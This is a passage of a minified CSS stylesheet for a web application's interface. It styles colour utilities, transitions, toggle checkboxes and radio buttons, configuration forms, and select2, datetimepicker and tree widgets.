9d9d9;}.grey-6{color:#bfbfbf;}.bg-grey-6{background:#bfbfbf;}.bdcolor-grey-6{border-color:#bfbfbf;}.grey-7{color:#919191;}.bg-grey-7{background:#919191;}.bdcolor-grey-7{border-color:#919191;}.grey-8{color:#5a5a5a;}.bg-grey-8{background:#5a5a5a;}.bdcolor-grey-8{border-color:#5a5a5a;}.grey-9{color:#404040;}.bg-grey-9{background:#404040;}.bdcolor-grey-9{border-color:#404040;}.grey-10{color:#222;}.bg-grey-10{background:#222;}.bdcolor-grey-10{border-color:#222;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.label{font-weight:400;font-size:1em;display:inline-block;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.cursor-mouse.cursor-default *{cursor:url("../../../images/common/cursor/default.png"), auto !important;}.cursor-mouse.cursor-move *{cursor:url("../../../images/common/cursor/move.png"), auto !important;}.cursor-mouse.cursor-down *{cursor:url("../../../images/common/cursor/down.png"), auto !important;}.cursor-mouse.cursor-add *{cursor:url("../../../images/common/cursor/add.png"), auto !important;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ vertical-align:middle;display:inline-block;margin:0 0.8em 0 0;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;font-size:9.6px;width:16px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-smallx:before{ line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:18px;font-size:10.8px;width:18px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-small:before{ line-height:18px;} input[type="checkbox"].kui-checkbox{ height:20px;font-size:12px;width:20px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox:before{ line-height:20px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;font-size:15.6px;width:26px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-big:before{ line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;font-size:19.2px;width:32px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-bigx:before{ line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ font-size:9.6px;height:16px;width:16px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-smallx:before{ line-height:14px;} input[type="radio"].kui-radio.size-small{ font-size:10.8px;height:18px;width:18px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-small:before{ line-height:16px;} input[type="radio"].kui-radio{ font-size:14.4px;height:24px;width:24px !important;margin-right:0.8em;} input[type="radio"].kui-radio:before{ line-height:22px;} input[type="radio"].kui-radio.size-big{ font-size:15.6px;height:26px;width:26px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-big:before{ line-height:24px;} input[type="radio"].kui-radio.size-bigx{ font-size:19.2px;height:32px;width:32px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-bigx:before{ line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.form-box{color:#444;}.form-box a{color:#5d9cec;text-decoration:none;}.form-box a:hover{color:#4a89dc;}.form-box .panel-body{position:relative;}.form-box .panel-body .line,.form-box .panel-body hr{border:none;height:1px;overflow:hidden;background:#ddd;margin:10px 30px;height:2px;background:transparent url("../../../images/common/line.png") repeat-x 0 0;}.form-box .panel-body h1,.form-box .panel-body h2,.form-box .panel-body h3,.form-box .panel-body h4,.form-box .panel-body h5{margin:0.6em 1em 0.5em 30px;padding-bottom:0.4em;border-bottom:1px solid #ddd;}.form-box.config-box .form-header{height:40px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#efefef', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-o-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);-pie-background:linear-gradient(to 60deg,#efefef 0%,#f5f7fa 100%);border-bottom:1px solid #ddd;}.form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:30px;font-size:14px;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-item-file{height:26px;width:26px;line-height:26px;text-align:center;border-radius:15%;display:inline-block;margin-right:10px;padding:0;color:#fff;position:relative;top:8px;}.form-box.config-box .form-header .modal-title img.x-font-icon,.form-box.config-box .form-header .modal-title .x-item-file.x-font-icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.form-box.config-box .form-header .modal-title img.font-icon-words,.form-box.config-box .form-header .modal-title .x-item-file.font-icon-words{font-size:10px;}.form-box.config-box .form-header .modal-title i{font-style:normal;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-font-icon{top:0px;}.form-box.config-box .panel-body{overflow:auto;border-radius:4px;padding:20px 0;position:absolute;left:0;right:0;top:42px;bottom:71px;margin:0;border:none;background:#fff;}.form-box .form-row{padding:3px 30px;padding-right:5px;width:auto;margin:1px 0;}.form-box .form-row:after{clear:both;}.form-box .form-row.form-group{margin:0;}.form-box .form-row label{margin-right:10px;display:inline;}.form-box .form-row input[type='radio']{display:inline-block;margin-right:10px;}.form-box .form-row input[type='text'],.form-box .form-row input[type='password'],.form-box .form-row input[type='number']{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;display:inline-block;height:28px;width:260px;color:#444;border-radius:4px;padding-left:0.5em;margin-right:10px;}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row select{min-width:268px;}.form-box .form-row textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:251px;height:100px;margin-right:10px;border-radius:2px;padding:8px;transition:none;}.form-box .form-row textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row textarea:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row .setting-title{height:30px;line-height:30px;width:140px;margin-right:20px;padding-top:5px;padding-left:5px;float:left;position:relative;text-align:right;}.form-box .form-row .setting-title .require{color:#ff5722;font-size:20px;position:absolute;margin-top:4px;padding:0 0 0 5px;}.form-box .form-row .setting-content{float:left;position:relative;width:70%;padding:5px;border-radius:4px;border:1px solid transparent;}.form-box .form-row .setting-content input.has-btn-right{width:220px;padding-right:40px;}.form-box .form-row .setting-content .input-btn-right{padding:0;margin-left:-50px;position:absolute;width:35px;height:30px;line-height:30px;border-radius:0 4px 4px 0;}.form-box .form-row .setting-content .input-btn-right .font-icon{font-size:14px;width:20px;padding:0 !important;}.form-box .form-row .setting-content input.has-btn-right:focus + .input-btn-right{border-color:#75a1f0;border-left-color:#c7d5ef;}.form-box .form-row .font-icon{padding:0;}.form-box .form-row .user-select{margin:0.5em 0;}.form-box .form-row.form-userSelect .setting-content{background:#f8fcff;padding:10px 5px;margin-top:-5px;}.form-box .form-row.form-userSelect .desc{margin-top:10px;}.form-box .form-row.error .setting-content{background:#ffefed;border-color:#ffb3ae;}.form-box .form-row.form-color .color-picker-view i{width:20px;height:20px;margin-top:5px;box-shadow:0 0 4px #666;display:inline-block;border-radius:2px;}.form-box .form-row .select2-container{width:270px !important;}.form-box .form-row .slider.slider-horizontal{width:260px;margin-right:20px;height:30px;}.form-box .form-row .slider .tooltip{pointer-events:none;}.form-box .form-row .desc,.form-box .form-row .setting-content i{color:#9ba3af;font-style:normal;}.form-box .ztree.group-list-tree a{border:none;padding-left:3px;}.form-box .ztree.group-list-tree a:hover{border:none;}.form-box .ztree.group-list-tree li a.curSelectedNode{color:#fff;}.form-box .ztree.group-list-tree .sub-menu{float:right;display:none;line-height:20px;padding-right:7px;font-size:1.15em;color:#ddd;}.form-box .ztree.group-list-tree .hover .sub-menu{display:inline-block;color:#666;}.form-box .ztree.group-list-tree .curSelectedNode .sub-menu,.form-box .ztree.group-list-tree .hover.curSelectedNode .sub-menu{display:inline-block;color:#fff;}.form-box-title-left .form-row .setting-title{text-align:left;}body .colorpicker{z-index:99999;}body .dialog-plugin-config.dialog-no-title .aui-outer{box-shadow:0 6px 40px 0 rgba(16,17,18,0.3);border:1px solid #ccc !important;border-radius:4px;overflow:hidden;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close{color:#bbb;color:rgba(0,0,0,0.2);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active{background:rgba(0,0,0,0.12);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active.aui-close{color:#fff;background:#e81123;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons{padding-right:20px;height:40px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons button{margin-top:5px;margin-left:20px;padding:0 2em;height:30px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset{background:none;border:none;box-shadow:none;padding:0px 10px;color:#bbb;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset:hover{color:#2196F3;background:#eaf5ff;}div.xdsoft_datetimepicker{border-top:2px solid #39f;padding:0;height:250px;color:#666;}div.xdsoft_datetimepicker .xdsoft_label,div.xdsoft_datetimepicker .xdsoft_month{text-align:center;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_label:hover,div.xdsoft_datetimepicker .xdsoft_month:hover{text-decoration:none;background:#e6f2ff;}div.xdsoft_datetimepicker .xdsoft_label:hover span,div.xdsoft_datetimepicker .xdsoft_month:hover span{color:#20a0ff;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select{box-shadow:0px 2px 10px rgba(0,0,0,0.2);border:1px solid rgba(0,0,0,0.1);max-height:300px;height:200px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_monthselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_monthselect{right:0px;width:90px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_yearselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_yearselect{right:0px;width:56px;}div.xdsoft_datetimepicker .xdsoft_scrollbar >.xdsoft_scroller{background:rgba(0,0,0,0.3) !important;}div.xdsoft_datetimepicker .xdsoft_calendar td,div.xdsoft_datetimepicker .xdsoft_calendar th{height:30px;text-align:center;background:none;border:none;}div.xdsoft_datetimepicker .xdsoft_calendar td div,div.xdsoft_datetimepicker .xdsoft_calendar th div{padding:0;}div.xdsoft_datetimepicker .xdsoft_calendar th{background:#eee;color:#444;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_datepicker{width:220px;margin-right:10px;}div.xdsoft_datetimepicker .xdsoft_datepicker.active+.xdsoft_timepicker{margin:0;}div.xdsoft_datetimepicker .xdsoft_timepicker{width:70px;border-left:1px solid #ddd;background:#fbfdff;margin:0;margin-left:-1px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_prev,div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_next{margin-left:20px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box{border:none;height:203px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box >div >div{background:none;border:none;}span.select2-container--default .select2-dropdown,span.select2-container--classic .select2-dropdown{box-shadow:0 2px 10px rgba(0,0,0,0.2);border:1px solid #ccc;overflow:hidden;}span.select2-container--default .select2-dropdown .select2-search__field,span.select2-container--classic .select2-dropdown .select2-search__field{border:1px solid #ccc;}span.select2-container--default .select2-selection--multiple,span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--multiple,span.select2-container--classic .select2-selection--single{border:1px solid #ccc;border-radius:4px;outline:none;min-height:32px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice,span.select2-container--default .select2-selection--single .select2-selection__choice,span.select2-container--classic .select2-selection--multiple .select2-selection__choice,span.select2-container--classic .select2-selection--single .select2-selection__choice{background-color:#edf5ff;color:#3a96ff;border-color:#badaff;height:24px;line-height:22px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove{float:right;font-size:15px;color:#3a96ff;width:20px;height:22px;line-height:18px;text-align:center;margin-right:-2px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover{color:#0063d3;}span.select2-container--default.select2-container--focus .select2-selection--multiple,span.select2-container--default.select2-container--focus .select2-selection--single,span.select2-container--classic.select2-container--focus .select2-selection--multiple,span.select2-container--classic.select2-container--focus .select2-selection--single{border:1px solid #3a96ff;}span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--single{background:#f8f8f8 url("../../../images/common//bg.gif") 0px -10px repeat-x;}span.select2-container--default .select2-selection--single .select2-selection__arrow,span.select2-container--classic .select2-selection--single .select2-selection__arrow{height:30px;width:26px;}span.select2-container--default .select2-selection--multiple ul.select2-selection__rendered:after,span.select2-container--classic .select2-selection--multiple ul.select2-selection__rendered:after{content:"";width:23px;height:50%;display:block;color:#aaa;position:absolute;right:1px;top:50%;margin-top:-7px;text-align:center;font-family:FontAwesome;}span.select2-container--default .select2-selection--multiple .select2-search--inline,span.select2-container--classic .select2-selection--multiple .select2-search--inline{height:29px;line-height:23px;}span.select2-container--default .select2-results.group-list-content>.select2-results__options,span.select2-container--classic .select2-results.group-list-content>.select2-results__options{z-index:100;width:100%;height:250px;max-height:250px;}span.select2-container--default .select2-results__option,span.select2-container--classic .select2-results__option{position:relative;}span.select2-container--default .select2-search--inline .select2-search__field,span.select2-container--classic .select2-search--inline .select2-search__field{padding-top:1px;}span.select2-container--default .select2-results__option[aria-selected=true],span.select2-container--default .select2-results__option[aria-selected=true].select2-results__option--highlighted,span.select2-container--classic .select2-results__option[aria-selected=true],span.select2-container--classic .select2-results__option[aria-selected=true].select2-results__option--highlighted{background:#edf5ff;color:#3a96ff;}span.select2-container--default .select2-results__option[aria-selected=true]:after,span.select2-container--classic .select2-results__option[aria-selected=true]:after{content:"\f00c";color:#3a96ff;position:absolute;right:10px;font-size:14px;font-family:FontAwesome;}span.select2-container--default .select2-results__option--highlighted[aria-selected],span.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#eee;color:#444;}span.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,span.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:1px solid transparent;}span.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple,span.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:1px solid transparent;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--below,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--below{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:-1px;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--above,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--above{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:1px;box-shadow:0 -2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default.select2-container--open .select2-selection--multiple,span.select2-container--default.select2-container--open .select2-selection--single,span.select2-container--classic.select2-container--open .select2-selection--multiple,span.select2-container--classic.select2-container--open .select2-selection--single{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default .ztree,span.select2-container--classic .ztree{padding:0;}span.select2-container--default .ztree li a,span.select2-container--classic .ztree li a{padding-left:0;height:26px;line-height:26px;border:none;margin:0;border-radius:0;}span.select2-container--default .ztree li a.this,span.select2-container--classic .ztree li a.this{background:#edf5ff;border:none;height:26px;line-height:26px;}span.select2-container--default .ztree li a.this:hover,span.select2-container--classic .ztree li 